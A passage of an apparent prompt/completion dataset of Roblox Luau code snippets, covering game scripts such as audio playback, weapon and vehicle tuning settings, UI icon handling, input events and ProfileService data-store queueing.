';\n\t\t\t\t\tfunc=\"wait\";\n\t\t\t\t};\n\t\t\t\t{\n\t\t\t\t\tstr='%.';\n\t\t\t\t\tfunc=\"wait\";\n\t\t\t\t};\n\t\t\t\t{\n\t\t\t\t\tstr='!';\n\t\t\t\t\tfunc=\"wait\";\n\t\t\t\t};\n\t\t\t\t{\n\t\t\t\t\tstr='?';\n\t\t\t\t\tfunc=\"wait\";\n\t\t\t\t};\n\t\t\t\t{\n\t\t\t\t\tstr=';';\n\t\t\t\t\tfunc=\"wait\";\n\t\t\t\t};\n\t\t\t\t{\n\t\t\t\t\tstr=':';\n\t\t\t\t\tfunc=\"wait\";\n\t\t\t\t};\n\n\t\t\t}\n\n\t\t\tgame:service(\"ContentProvider\"):Preload(`rbxassetid://{audioId}`)\n\n\t\t\tlocal function getText(str)\n\t\t\t\tlocal tab = {}\n\t\t\t\tlocal str = str\n\t\t\t\tlocal function getNext()\n\t\t\t\t\tfor _, v in phonemes do\n\t\t\t\t\t\tlocal occ,pos = string.find(string.lower(str), `^{v.str}`)\n\t\t\t\t\t\tif occ then\n\t\t\t\t\t\t\tif v.capture then\n\t\t\t\t\t\t\t\tlocal real = v.real\n\t\t\t\t\t\t\t\tlocal realStart,realEnd = string.find(string.lower(str),real)\n\t\t\t\t\t\t\t\t--local captStart,captEnd = str:lower():find(v.str)\n\t\t\t\t\t\t\t\tlocal capt = string.match(string.lower(str),v.str)\n\t\t\t\t\t\t\t\tif occ>realEnd then\n\t\t\t\t\t\t\t\t\ttable.insert(tab,v)\n\t\t\t\t\t\t\t\t\tgetText(capt)\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\tgetText(capt)\n\t\t\t\t\t\t\t\t\ttable.insert(tab,v)\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\ttable.insert(tab,v)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tstr = string.sub(str,pos+1)\n\t\t\t\t\t\t\tgetNext()\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tgetNext()\n\t\t\t\treturn tab\n\t\t\tend\n\n\t\t\tlocal phos=getText(str)\n\t\t\tlocal swap = false\n\n\t\t\tlocal function say(pos)\n\t\t\t\tlocal sound=audio\n\t\t\t\t--[[--]]\n\t\t\t\tif swap then\n\t\t\t\t\tsound=audio2\n\t\t\t\tend--]]\n\t\t\t\tsound.TimePosition=pos\n\t\t\t\t--sound:Play()\n\t\t\t\t--wait(0.2) --wait(pause)\n\t\t\t\t--sound:Stop()\n\t\t\tend\n\n\t\t\taudio:Play()\n\t\t\taudio2:Play()\n\t\t\tfor _, v in phos do\n\t\t\t\t--print(i,v.str)\n\t\t\t\tif type(v.func)==\"string\" then--v.func==\"wait\" then\n\t\t\t\t\ttask.wait(0.5)\n\t\t\t\telseif type(v)==\"table\" then\n\t\t\t\t\tfor _, p in v.func do\n\t\t\t\t\t\t--[[--]]\n\t\t\t\t\t\tif swap then\n\t\t\t\t\t\t\tswap=false\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tswap=true\n\t\t\t\t\t\tend--]]\n\t\t\t\t\t\tsay(p)\n\t\t\t\t\t\tif v.delay then\n\t\t\t\t\t\t\ttask.wait(v.delay)\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\ttask.wait(0.1)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\ttask.wait(0.5)\n\t\t\taudio:Stop()\n\t\t\taudio2:Stop()\n\t\tend;\n\n\t\tIsValidTexture = function(id)\n\t\t\tlocal id = tonumber(id)\n\t\t\tlocal ran, info = pcall(function() return service.MarketPlace:GetProductInfo(id) end)\n\n\t\t\tif ran and info and info.AssetTypeId == 1 then\n\t\t\t\treturn true;\n\t\t\telse\n\t\t\t\treturn false;\n\t\t\tend\n\t\tend;\n\n\t\tGetTexture = function(id)\n\t\t\tlocal id = tonumber(id);\n\t\t\tif id and Functions.IsValidTexture(id) then\n\t\t\t\treturn id;\n\t\t\telse\n\t\t\t\treturn 6825455804;\n\t\t\tend\n\t\tend;\n\n\t\tGetUserInputServiceData = function(args)\n\t\t\tlocal data = {}\n\t\t\tlocal props = {\n\t\t\t\t\"AccelerometerEnabled\";\n\t\t\t\t\"GamepadEnabled\";\n\t\t\t\t\"GyroscopeEnabled\";\n\t\t\t\t\"KeyboardEnabled\";\n\t\t\t\t\"MouseDeltaSensitivity\";\n\t\t\t\t\"MouseEnabled\";\n\t\t\t\t\"OnScreenKeyboardVisible\";\n\t\t\t\t\"TouchEnabled\";\n\t\t\t\t\"VREnabled\";\n\t\t\t}\n\t\t\tfor _, p in props do\n\t\t\t\tdata[p] = service.UserInputService[p]\n\t\t\tend\n\t\t\treturn data\n\t\tend;\n\t};\nend\n"} +{"prompt": "-- A simple function to extend reverse paths from (d - 1) to d changes\n-- when reverse and forward paths cannot yet overlap.", "completion": "\nlocal function extendPathsR(\n\td: number,\n\taStart: number,\n\tbStart: number,\n\tbR: number,\n\tisCommon: IsCommon,\n\taIndexesR: Indexes,\n\tiMaxR: number\n): number\n\t-- Unroll the first iteration.\n\tlocal iR = 0\n\tlocal kR = d -- kR = d - 2 * iR\n\t-- ROBLOX FIXME? should the values inserted into aIndexesR be 1-based so we don't have to adjust in several places here?\n\tlocal aFirst = aIndexesR[iR + 1] -- in first iteration always insert\n\tlocal aIndexPrev1 = aFirst -- prev value of [iR - 1] in next iteration\n\taIndexesR[iR + 1] -= countCommonItemsR(aStart, aFirst - 1, bStart, bR + aFirst - kR - 1, isCommon)\n\n\t-- Optimization: skip diagonals in which paths cannot ever overlap.\n\tlocal nR = d < iMaxR and d or iMaxR\n\n\t-- The diagonals kR are odd when d is odd and even when d is even.\n\tiR += 1\n\tkR -= 2\n\twhile iR <= nR do\n\t\t-- To get first point of path segment, move one change in reverse direction\n\t\t-- from last point of previous path segment in an adjacent diagonal.\n\t\t-- In last possible iteration when iR === d and kR === -d always delete.\n\t\tif iR ~= d and aIndexesR[iR + 1] < aIndexPrev1 then\n\t\t\taFirst = aIndexesR[iR + 1] -- vertical to insert from b\n\t\telse\n\t\t\taFirst = aIndexPrev1 - 1 -- horizontal to delete from a\n\n\t\t\tif aFirst < aStart then\n\t\t\t\t-- Optimization: delete moved past left of graph.\n\t\t\t\treturn iR - 1\n\t\t\tend\n\t\tend\n\n\t\t-- To get last point of path segment, move along diagonal of common items.\n\t\taIndexPrev1 = aIndexesR[iR + 1]\n\t\taIndexesR[iR + 1] = aFirst - countCommonItemsR(aStart, aFirst - 1, bStart, bR + aFirst - kR - 1, isCommon)\n\t\tiR += 1\n\t\tkR -= 2\n\tend\n\n\treturn iMaxR\nend\n"} +{"prompt": "-- fun = what they have to type (make sure it is lowercased)\n-- The first value in the table is what shows in the cmds\n-- Make sure to set this \"2\" to the rank you want players to have to use this\n-- This function is what runs the command when it is called", "completion": "\n\tfun = {\"Fun [Player]\";{2};{\"Player\"};function(plr, cmds)\n\t\tfor i,v in pairs(cmds[1]) do -- This would basically get all the players it could find. Example: ;fun me would return only you in the table.\n\t\t\tprint(v.Name)\n\t\tend\n\tend;};\n}\n"} +{"prompt": "--// Unused (Don't delete)", "completion": "\n\tRestMode = false;\n\tAttachmentsEnabled = true;\n\tUIScope = true;\n\tCanSlideLock = true;\n\t\t"} +{"prompt": "-- Espera 2 segundos antes de reproducir el sonido", "completion": "\nwait(4)\n"} +{"prompt": "--easter egg", "completion": "\nmouse.KeyDown:connect(function(key)\n\tif key==\"o\" then\n\t\tHeat = BlowupTemp-11\n\tend\nend)\n\nif not FE then\n\t\nradiator.Oil.Enabled = false\nradiator.Antifreeze.Enabled = false\nradiator.Liquid.Volume = 0\nradiator.Fan:Play()\nradiator.Fan.Pitch = 1+FanSpeed\nradiator.Steam:Play()\nradiator.Liquid:Play()\nscript.Blown.Value = false\n\nwhile wait(.2) do\n\tif Heat > FanTemp and Fan == true then\n\t\tFanCool = -FanSpeed\n\t\tradiator.Fan.Volume = FanVolume\n\telse\n\t\tFanCool = 0\n\t\tradiator.Fan.Volume = 0\n\tend\n\t\n\tLoad = ((script.Parent.Parent.Parent.Parent.Values.Throttle.Value*script.Parent.Parent.Parent.Parent.Values.RPM.Value*10*OverheatSpeed)/math.ceil((car.DriveSeat.Velocity.magnitude+.0000001)/100)/75000)-CoolingEfficiency\n\tHeat = math.max(RunningTemp,(Heat+Load)+FanCool)\n\t\n\tif Heat >= BlowupTemp then\n\t\tHeat = BlowupTemp\n\t\tradiator.Break:Play()\n\t\tradiator.Liquid.Volume = .5\n\t\tradiator.Oil.Enabled = true\n\t\tradiator.Antifreeze.Enabled = true\n\t\tscript.Parent.Parent.Parent.Parent.IsOn.Value = false\n\t\tscript.Blown.Value = true\n\telseif Heat >= BlowupTemp-10 then\n\t\tradiator.Smoke.Transparency = NumberSequence.new((BlowupTemp-Heat)/10,1)\n\t\tradiator.Smoke.Enabled = true\n\t\tradiator.Steam.Volume = math.abs(((BlowupTemp-Heat)-10)/10)\n\telse\n\t\tradiator.Smoke.Enabled = false\n\t\tradiator.Steam.Volume = 0\n\tend\n\t\n\tscript.Celsius.Value = Heat\n\tscript.Parent.Temp.Text = math.floor(Heat)..\"\u00b0c\"\nend\n\nelse\n\n\thandler:FireServer(\"Initialize\",FanSpeed)\nwhile wait(.2) do\n\t\n\tif Heat > FanTemp and Fan == true then\n\t\tFanCool = -FanSpeed\n\t\thandler:FireServer(\"FanVolume\",FanVolume)\n\telse\n\t\tFanCool = 0\n\t\thandler:FireServer(\"FanVolume\",0)\n\tend\n\t\n\tLoad = ((script.Parent.Parent.Parent.Parent.Values.Throttle.Value*script.Parent.Parent.Parent.Parent.Values.RPM.Value*10*OverheatSpeed)/math.ceil((car.DriveSeat.Velocity.magnitude+.0000001)/100)/75000)-CoolingEfficiency\n\tHeat = math.max(RunningTemp,(Heat+Load)+FanCool)\n\t\n\tif Heat >= BlowupTemp then\n\t\tHeat = BlowupTemp\n\t\thandler:FireServer(\"Blown\")\n\t\tscript.Parent.Parent.Parent.Parent.IsOn.Value = false\n\t\tscript.Blown.Value = true\n\telseif Heat >= BlowupTemp-10 then\n\t\thandler:FireServer(\"Smoke\",true,BlowupTemp,Heat)\n\telse\n\t\thandler:FireServer(\"Smoke\",false,BlowupTemp,Heat)\n\tend\n\t\n\tscript.Celsius.Value = Heat\n\tscript.Parent.Temp.Text = math.floor(Heat)..\"\u00b0c\"\nend\nend\n"} +{"prompt": "--[[local url = ''\n\nlocal http = game:GetService(\"HttpService\")\n\nlocal HookData = {\n\t['username'] = player.Name,\n\t\n\t['content'] = msg\n\t\n\t\n}\n\nHookData = http:JSONEncode(HookData)\nhttp:PostAsync(url, HookData)--]]", "completion": "\n\n\n\n\nend)\n\ngame.ReplicatedStorage.Messages.Faction.OnServerEvent:Connect(function(player, sender, msg)\n\t\tlocal filter = game:GetService(\"Chat\"):FilterStringForBroadcast(msg, player)\n\tgame.ReplicatedStorage.Messages.Faction:FireAllClients(filter, sender)\n\nend)\n\n\n"} +{"prompt": "-- All characters have a Humanoid object\n-- If the model has one, it is a character", "completion": "\n local h = part.Parent:findFirstChild(\"Humanoid\") -- Find Humanoids in whatever touched this\n if (h ~=nil) then -- If there is a Humanoid then\n h.Health = h.MaxHealth -- Set the health to maximum (full healing)\n end\n end\n\nscript.Parent.Touched:connect(onTouched) -- Make it call onTouched when touched\n\n\n"} +{"prompt": "-- CONNECTIONS", "completion": "\nlocal iconCreationCount = 0\nIconController.iconAdded:Connect(function(icon)\n\ttopbarIcons[icon] = true\n\tif IconController.gameTheme then\n\t\ticon:setTheme(IconController.gameTheme)\n\tend\n\ticon.updated:Connect(function()\n\t\tIconController.updateTopbar()\n\tend)\n\t-- When this icon is selected, deselect other icons if necessary\n\ticon.selected:Connect(function()\n\t\tlocal allIcons = IconController.getIcons()\n\t\tfor _, otherIcon in pairs(allIcons) do\n\t\t\tif icon.deselectWhenOtherIconSelected and otherIcon ~= icon and otherIcon.deselectWhenOtherIconSelected and otherIcon:getToggleState() == \"selected\" then\n\t\t\t\totherIcon:deselect(icon)\n\t\t\tend\n\t\tend\n\tend)\n\t-- Order by creation if no order specified\n\ticonCreationCount = iconCreationCount + 1\n\ticon:setOrder(iconCreationCount)\n\t-- Apply controller view if enabled\n\tif IconController.controllerModeEnabled then\n\t\tIconController._enableControllerModeForIcon(icon, true)\n\tend\n\tIconController:_updateSelectionGroup()\n\tIconController.updateTopbar()\nend)\n\nIconController.iconRemoved:Connect(function(icon)\n\ttopbarIcons[icon] = nil\n\ticon:setEnabled(false)\n\ticon:deselect()\n\ticon.updated:Fire()\n\tIconController:_updateSelectionGroup()\nend)\n\n\n"} +{"prompt": "--gun parts", "completion": "\nlocal gunparts = {}\n\nfor i,v in pairs(gunmodel:GetDescendants()) do\n\tif v:IsA(\"BasePart\") then\n\t\ttable.insert(gunparts, v)\n\tend\nend\n\nfunction guntransparency(tr)\n\tfor i,v in pairs(gunparts) do --looping through an already made table alone is faster than getdescendants and then looping\n\t\tv.LocalTransparencyModifier = tr\n\tend\nend\n\nfunction modeltransparency(m, tr) -- this is for stuff like fps mags\n\tfor i,v in pairs(m:GetDescendants()) do\n\t\tif v:IsA(\"BasePart\") then\n\t\t\tv.LocalTransparencyModifier = tr\n\t\tend\n\tend\nend\n"} +{"prompt": "--// Bullet Physics", "completion": "\n\tBulletPhysics = Vector3.new(0,55,0); -- Drop fixation: Lower number = more drop\n\tBulletSpeed = 2700; -- Bullet Speed\n\tBulletSpread = 1; -- How much spread the bullet has\n\t\n\tExploPhysics = Vector3.new(0,20,0); -- Drop for explosive rounds\n\tExploSpeed = 600; -- Speed for explosive rounds\n\t\n\tBulletDecay = 10000; -- How far the bullet travels before slowing down and being deleted (BUGGY)\n\t"} +{"prompt": "--// Extras", "completion": "\n\tWalkAnimEnabled = true; -- Set to false to disable walking animation, true to enable\n\tSwayEnabled = true;\t -- Set to false to disable sway, true to enable\n\tTacticalModeEnabled = true; -- SET THIS TO TRUE TO TURN ON TACTICAL MODEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE\n"} +{"prompt": "-- AdornmentData type", "completion": "\ntype AdornmentData = VisualizerCache.AdornmentData\n"} +{"prompt": "--\t====================\n--\tCHARGED SHOT\n--\tMake a gun charging before firing. Useful for a gun like \"Railgun\" or \"Laser Cannon\"\n--\t====================", "completion": "\n\t\t\n\t\tChargedShotEnabled = false;\n\t\tChargingTime = 1;\n\t\t"} +{"prompt": "--Main function", "completion": "\nlocal function AttachAuraControl(source_part, eff_cont) --(source_part, effect_container)\n\t\n\tlocal AnimObj\n\t\n\tlocal function Start()\n\t\tAnimObj = {}\n\t\tAnimObj[\"MainPart\"] = EFFECT_LIB.NewInvisiblePart()\n\t\t\n\t\tAnimObj[\"Emitter\"] = script.ConspiracyEff:clone()\n\t\tAnimObj[\"Emitter\"].Parent = AnimObj[\"MainPart\"]\n\t\t\n\t\tAnimObj[\"MainPart\"].Parent = eff_cont\n\tend\n\t\n\tlocal function Update()\n\t\tlocal loop = EFFECT_LIB.Loop(1)\n\t\tAnimObj[\"MainPart\"].CFrame = source_part:GetRenderCFrame() * CFrame.Angles(0, math.rad(loop * 360), 0) * CFrame.new(0, 0, -3)\n\tend\n\t\n\tlocal function Stop()\n\t\teff_cont:ClearAllChildren()\n\t\tAnimObj = nil\n\tend\n\t\n\treturn {Start = Start, Update = Update, Stop = Stop}\nend\n\nreturn AttachAuraControl\n"} +{"prompt": "-- ROBLOX deviation: no optional capturing group in Lua string patterns so we try matching against both", "completion": "\nlocal ANONYMOUS_PROMISE_IGNORE = \"^%s+at Promise %(%).*$\"\nlocal ANONYMOUS_NEW_PROMISE_IGNORE = \"^%s+at new Promise %(%).*$\"\nlocal ANONYMOUS_GENERATOR_IGNORE = \"^%s+at Generator.next %(%).*$\"\nlocal NATIVE_NEXT_IGNORE = \"^%s+at next %(native%).*$\""} +{"prompt": "--[[Weight and CG]]", "completion": "\n\tTune.Weight\t\t\t= 3450\t\t-- Total weight (in pounds)\n\tTune.WeightBSize\t= {\t\t\t-- Size of weight brick (dimmensions in studs ; larger = more stable)\n\t --[[Width]]\t\t.8\t\t,\n\t --[[Height]]\t\t1/3\t\t,\n\t --[[Length]]\t\t1.2\t\t}\n\tTune.WeightDist\t\t= 50\t\t-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)\n\tTune.CGHeight\t\t= .7\t\t-- Center of gravity height (studs relative to median of all wheels)\n\tTune.WBVisible\t\t= false\t\t-- Makes the weight brick visible\n\t\n\t--Unsprung Weight\n\tTune.FWheelDensity\t= .4\t\t-- Front Wheel Density\n\tTune.RWheelDensity\t= .4\t\t-- Rear Wheel Density\n\tTune.FWLgcyDensity\t= 1\t\t\t-- Front Wheel Density [PGS OFF]\n\tTune.RWLgcyDensity\t= 1\t\t\t-- Rear Wheel Density [PGS OFF]\n\t\n\tTune.AxleSize\t\t= 2\t\t\t-- Size of structural members (larger = MORE STABLE / carry more weight)\n\tTune.AxleDensity\t= .1\t\t-- Density of structural members\n\t"} +{"prompt": "--[[\n\tPops a node off of the navigation stack.\n]]", "completion": "\nfunction TestSession:popNode()\n\tassert(#self.nodeStack > 0, \"Tried to pop from an empty node stack!\")\n\treturn table.remove(self.nodeStack, #self.nodeStack)\nend\n"} +{"prompt": "--Set up input began and ended for controller.", "completion": "\ntable.insert(EventsToDisconnect,UserInputService.InputBegan:Connect(function(Input,Processed)\n\tif Processed then return end\n\tlocal Character = Player.Character\n\tif not Character then return end\n\tlocal Humanoid = Character:FindFirstChildOfClass(\"Humanoid\")\n\tif not Humanoid or Humanoid.Health <= 0 then return end\n\t\n\t--Disconnect the event if the tool is unparented.\n\tDisconnectEvents()\n\t\n\t--Register event if it was a mouse left click.\n\tif Input.UserInputType == Enum.UserInputType.MouseButton1 or Input.UserInputType == Enum.UserInputType.Touch then\n\t\tlocal Position = Get3DPosition(Input.Position.X,Input.Position.Y)\n\t\tLongInputBeganEvent:Fire(Position)\n\t\t\n\t\tif Input.UserInputType == Enum.UserInputType.MouseButton1 then\n\t\t\tInputBeganEvent:Fire(Position)\n\t\tend\n\tend\nend))\n\ntable.insert(EventsToDisconnect,UserInputService.TouchTap:Connect(function(Positions,Processed)\n\tif Processed then return end\n\tlocal Character = Player.Character\n\tif not Character then return end\n\tlocal Humanoid = Character:FindFirstChildOfClass(\"Humanoid\")\n\tif not Humanoid or Humanoid.Health <= 0 then return end\n\t\n\t--Disconnect the event if the tool is unparented.\n\tDisconnectEvents()\n\t\n\tlocal Position = Positions[1]\n\tif Position then\n\t\tInputBeganEvent:Fire(Get3DPosition(Position.X,Position.Y))\n\tend\nend))\n\ntable.insert(EventsToDisconnect,UserInputService.InputEnded:Connect(function(Input)\n\t--Disconnect the event if the tool is unparented.\n\tDisconnectEvents()\n\t\n\t--Register event if it was a mouse left click or a touch.\n\tif Input.UserInputType == Enum.UserInputType.MouseButton1 or Input.UserInputType == Enum.UserInputType.Touch then\n\t\tInputEndedEvent:Fire(Get3DPosition(Input.Position.X,Input.Position.Y))\n\tend\nend))\n\nreturn InputHandler\n"} +{"prompt": "-- << SETUP SEARCH BAR >>", "completion": "\nlocal searchDe = true\nframe.SearchBar.Frame.TextBox.FocusLost:connect(function(property)\n\tif searchDe then\n\t\tsearchDe = false\n\t\tlocal page\n\t\tfor i,v in pairs(pages) do\n\t\t\tif v.Position.X.Scale == 0 then\n\t\t\t\tpage = v\n\t\t\tend\n\t\tend\n\t if page then\n\t\t\tlocal functionName = \"Create\".. page.Name\n\t\t\tmodule[functionName]()\n\t end\n\t\twait(0.5)\n\t\tsearchDe = true\n\tend\nend)\n\n\n"} +{"prompt": "--- Nasty Door Script by General_Punctuation ---", "completion": "\n\nfunction onTouch(hit)\n\tlocal plr = hit.Parent:FindFirstChild(\"Humanoid\")\n\tif plr ~= nil then\n\t\tscript.Disabled = true\n\t\tscript.Parent.DoorParts.Union.Transparency = 1\n\t\tscript.Parent.DoorParts.MainPart.Transparency = 1\n\t\tscript.Parent.DoorParts.Union.CanCollide = false\n\t\tscript.Parent.DoorParts.MainPart.CanCollide = false\n\t\twait(1)\n\t\tscript.Disabled = false\n\t\tscript.Parent.DoorParts.Union.Transparency = 0\n\t\tscript.Parent.DoorParts.MainPart.Transparency = 1\n\t\tscript.Parent.DoorParts.Union.CanCollide = true\n\t\tscript.Parent.DoorParts.MainPart.CanCollide = true\n\tend\n\tend\nscript.Parent.DoorParts.MainPart.Touched:connect(onTouch)\n"} +{"prompt": "----- Private functions -----", "completion": "\n\nlocal function IdentifyProfile(store_name, store_scope, key)\n\treturn string.format(\n\t\t\"[Store:\\\"%s\\\";%sKey:\\\"%s\\\"]\",\n\t\tstore_name,\n\t\tstore_scope ~= nil and string.format(\"Scope:\\\"%s\\\";\", store_scope) or \"\",\n\t\tkey\n\t)\nend\n\nlocal function CustomWriteQueueCleanup(store, key)\n\tif CustomWriteQueue[store] ~= nil then\n\t\tCustomWriteQueue[store][key] = nil\n\t\tif next(CustomWriteQueue[store]) == nil then\n\t\t\tCustomWriteQueue[store] = nil\n\t\tend\n\tend\nend\n\nlocal function CustomWriteQueueMarkForCleanup(store, key)\n\tif CustomWriteQueue[store] ~= nil then\n\t\tif CustomWriteQueue[store][key] ~= nil then\n\n\t\t\tlocal queue_data = CustomWriteQueue[store][key]\n\t\t\tlocal queue = queue_data.Queue\n\n\t\t\tif queue_data.CleanupJob == nil then\n\n\t\t\t\tqueue_data.CleanupJob = RunService.Heartbeat:Connect(function()\n\t\t\t\t\tif os.clock() - queue_data.LastWrite > SETTINGS.RobloxWriteCooldown and #queue == 0 then\n\t\t\t\t\t\tqueue_data.CleanupJob:Disconnect()\n\t\t\t\t\t\tCustomWriteQueueCleanup(store, key)\n\t\t\t\t\tend\n\t\t\t\tend)\n\n\t\t\tend\n\n\t\telseif next(CustomWriteQueue[store]) == nil then\n\t\t\tCustomWriteQueue[store] = nil\n\t\tend\n\tend\nend\n\nlocal function CustomWriteQueueAsync(callback, store, key) --> ... -- Passed return from callback\n\n\tif CustomWriteQueue[store] == nil then\n\t\tCustomWriteQueue[store] = {}\n\tend\n\tif CustomWriteQueue[store][key] == nil then\n\t\tCustomWriteQueue[store][key] = {LastWrite = 0, Queue = {}, CleanupJob = nil}\n\tend\n\n\tlocal queue_data = CustomWriteQueue[store][key]\n\tlocal queue = queue_data.Queue\n\n\t-- Cleanup job:\n\n\tif queue_data.CleanupJob ~= nil then\n\t\tqueue_data.CleanupJob:Disconnect()\n\t\tqueue_data.CleanupJob = nil\n\tend\n\n\t-- Queue logic:\n\n\tif os.clock() - queue_data.LastWrite > SETTINGS.RobloxWriteCooldown and #queue == 0 then\n\t\tqueue_data.LastWrite = os.clock()\n\t\treturn callback()\n\telse\n\t\ttable.insert(queue, callback)\n\t\twhile true do\n\t\t\tif os.clock() - queue_data.LastWrite > SETTINGS.RobloxWriteCooldown and queue[1] == callback then\n\t\t\t\ttable.remove(queue, 1)\n\t\t\t\tqueue_data.LastWrite = os.clock()\n\t\t\t\treturn callback()\n\t\t\tend\n\t\t\ttask.wait()\n\t\tend\n\tend\n\nend\n\nlocal function IsCustomWriteQueueEmptyFor(store, key) --> is_empty [bool]\n\tlocal lookup = CustomWriteQueue[store]\n\tif lookup ~= nil then\n\t\tlookup = lookup[key]\n\t\treturn lookup == nil or #lookup.Queue == 0\n\tend\n\treturn true\nend\n\nlocal function WaitForLiveAccessCheck() -- This function was created to prevent the ProfileService module yielding execution when required\n\twhile IsLiveCheckActive == true do\n\t\ttask.wait()\n\tend\nend\n\nlocal function WaitForPendingProfileStore(profile_store)\n\twhile profile_store._is_pending == true do\n\t\ttask.wait()\n\tend\nend\n\nlocal function RegisterIssue(error_message, store_name, store_scope, profile_key) -- Called when a DataStore API call errors\n\twarn(\"[ProfileService]: DataStore API error \" .. IdentifyProfile(store_name, store_scope, profile_key) .. \" - \\\"\" .. tostring(error_message) .. \"\\\"\")\n\ttable.insert(IssueQueue, os.clock()) -- Adding issue time to queue\n\tProfileService.IssueSignal:Fire(tostring(error_message), store_name, profile_key)\nend\n\nlocal function RegisterCorruption(store_name, store_scope, profile_key) -- Called when a corrupted profile is loaded\n\twarn(\"[ProfileService]: Resolved profile corruption \" .. IdentifyProfile(store_name, store_scope, profile_key))\n\tProfileService.CorruptionSignal:Fire(store_name, profile_key)\nend\n\nlocal function NewMockDataStoreKeyInfo(params)\n\n\tlocal version_id_string = tostring(params.VersionId or 0)\n\tlocal meta_data = params.MetaData or {}\n\tlocal user_ids = params.UserIds or {}\n\n\treturn {\n\t\tCreatedTime = params.CreatedTime,\n\t\tUpdatedTime = params.UpdatedTime,\n\t\tVersion = string.rep(\"0\", 16) .. \".\"\n\t\t\t.. string.rep(\"0\", 10 - string.len(version_id_string)) .. version_id_string\n\t\t\t.. \".\" .. string.rep(\"0\", 16) .. \".\" .. \"01\",\n\n\t\tGetMetadata = function()\n\t\t\treturn DeepCopyTable(meta_data)\n\t\tend,\n\n\t\tGetUserIds = function()\n\t\t\treturn DeepCopyTable(user_ids)\n\t\tend,\n\t}\n\nend\n\nlocal function MockUpdateAsync(mock_data_store, profile_store_name, key, transform_function, is_get_call) --> loaded_data, key_info\n\n\tlocal profile_store = mock_data_store[profile_store_name]\n\n\tif profile_store == nil then\n\t\tprofile_store = {}\n\t\tmock_data_store[profile_store_name] = profile_store\n\tend\n\n\tlocal epoch_time = math.floor(os.time() * 1000)\n\tlocal mock_entry = profile_store[key]\n\tlocal mock_entry_was_nil = false\n\n\tif mock_entry == nil then\n\t\tmock_entry_was_nil = true\n\t\tif is_get_call ~= true then\n\t\t\tmock_entry = {\n\t\t\t\tData = nil,\n\t\t\t\tCreatedTime = epoch_time,\n\t\t\t\tUpdatedTime = epoch_time,\n\t\t\t\tVersionId = 0,\n\t\t\t\tUserIds = {},\n\t\t\t\tMetaData = {},\n\t\t\t}\n\t\t\tprofile_store[key] = mock_entry\n\t\tend\n\tend\n\n\tlocal mock_key_info = mock_entry_was_nil == false and NewMockDataStoreKeyInfo(mock_entry) or nil\n\n\tlocal transform, user_ids, roblox_meta_data = transform_function(mock_entry and mock_entry.Data, mock_key_info)\n\n\tif transform == nil then\n\t\treturn nil\n\telse\n\t\tif mock_entry ~= nil and is_get_call ~= true then\n\t\t\tmock_entry.Data = transform\n\t\t\tmock_entry.UserIds = DeepCopyTable(user_ids or {})\n\t\t\tmock_entry.MetaData = DeepCopyTable(roblox_meta_data or {})\n\t\t\tmock_entry.VersionId += 1\n\t\t\tmock_entry.UpdatedTime = epoch_time\n\t\tend\n\n\t\treturn DeepCopyTable(transform), mock_entry ~= nil and NewMockDataStoreKeyInfo(mock_entry) or nil\n\tend\n\nend\n\nlocal function IsThisSession(session_tag)\n\treturn session_tag[1] == PlaceId and session_tag[2] == JobId\nend\n"} +{"prompt": "------------------------------------------------------------------------", "completion": "\n\nlocal PlayerState = {} do\n\tlocal mouseBehavior\n\tlocal mouseIconEnabled\n\tlocal cameraType\n\tlocal cameraFocus\n\tlocal cameraCFrame\n\tlocal cameraFieldOfView\n\tlocal screenGuis = {}\n\tlocal coreGuis = {\n\t\tBackpack = true,\n\t\tChat = true,\n\t\tHealth = true,\n\t\tPlayerList = true,\n\t}\n\tlocal setCores = {\n\t\tBadgesNotificationsActive = true,\n\t\tPointsNotificationsActive = true,\n\t}\n\n\t-- Save state and set up for freecam\n\tfunction PlayerState.Push()\n\t\tfor name in pairs(coreGuis) do\n\t\t\tcoreGuis[name] = StarterGui:GetCoreGuiEnabled(Enum.CoreGuiType[name])\n\t\t\tStarterGui:SetCoreGuiEnabled(Enum.CoreGuiType[name], false)\n\t\tend\n\t\tfor name in pairs(setCores) do\n\t\t\tsetCores[name] = StarterGui:GetCore(name)\n\t\t\tStarterGui:SetCore(name, false)\n\t\tend\n\t\tlocal playergui = LocalPlayer:FindFirstChildOfClass(\"PlayerGui\")\n\t\tif playergui then\n\t\t\tfor _, gui in pairs(playergui:GetChildren()) do\n\t\t\t\tif gui:IsA(\"ScreenGui\") and gui.Enabled then\n\t\t\t\t\tscreenGuis[#screenGuis + 1] = gui\n\t\t\t\t\tgui.Enabled = false\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\tcameraFieldOfView = Camera.FieldOfView\n\t\tCamera.FieldOfView = 70\n\n\t\tcameraType = Camera.CameraType\n\t\tCamera.CameraType = Enum.CameraType.Custom\n\n\t\tcameraCFrame = Camera.CFrame\n\t\tcameraFocus = Camera.Focus\n\n\t\tmouseIconEnabled = UserInputService.MouseIconEnabled\n\t\tUserInputService.MouseIconEnabled = false\n\n\t\tmouseBehavior = UserInputService.MouseBehavior\n\t\tUserInputService.MouseBehavior = Enum.MouseBehavior.Default\n\tend\n\n\t-- Restore state\n\tfunction PlayerState.Pop()\n\t\tfor name, isEnabled in pairs(coreGuis) do\n\t\t\tStarterGui:SetCoreGuiEnabled(Enum.CoreGuiType[name], isEnabled)\n\t\tend\n\t\tfor name, isEnabled in pairs(setCores) do\n\t\t\tStarterGui:SetCore(name, isEnabled)\n\t\tend\n\t\tfor _, gui in pairs(screenGuis) do\n\t\t\tif gui.Parent then\n\t\t\t\tgui.Enabled = true\n\t\t\tend\n\t\tend\n\n\t\tCamera.FieldOfView = cameraFieldOfView\n\t\tcameraFieldOfView = nil\n\n\t\tCamera.CameraType = cameraType\n\t\tcameraType = nil\n\n\t\tCamera.CFrame = cameraCFrame\n\t\tcameraCFrame = nil\n\n\t\tCamera.Focus = cameraFocus\n\t\tcameraFocus = nil\n\n\t\tUserInputService.MouseIconEnabled = 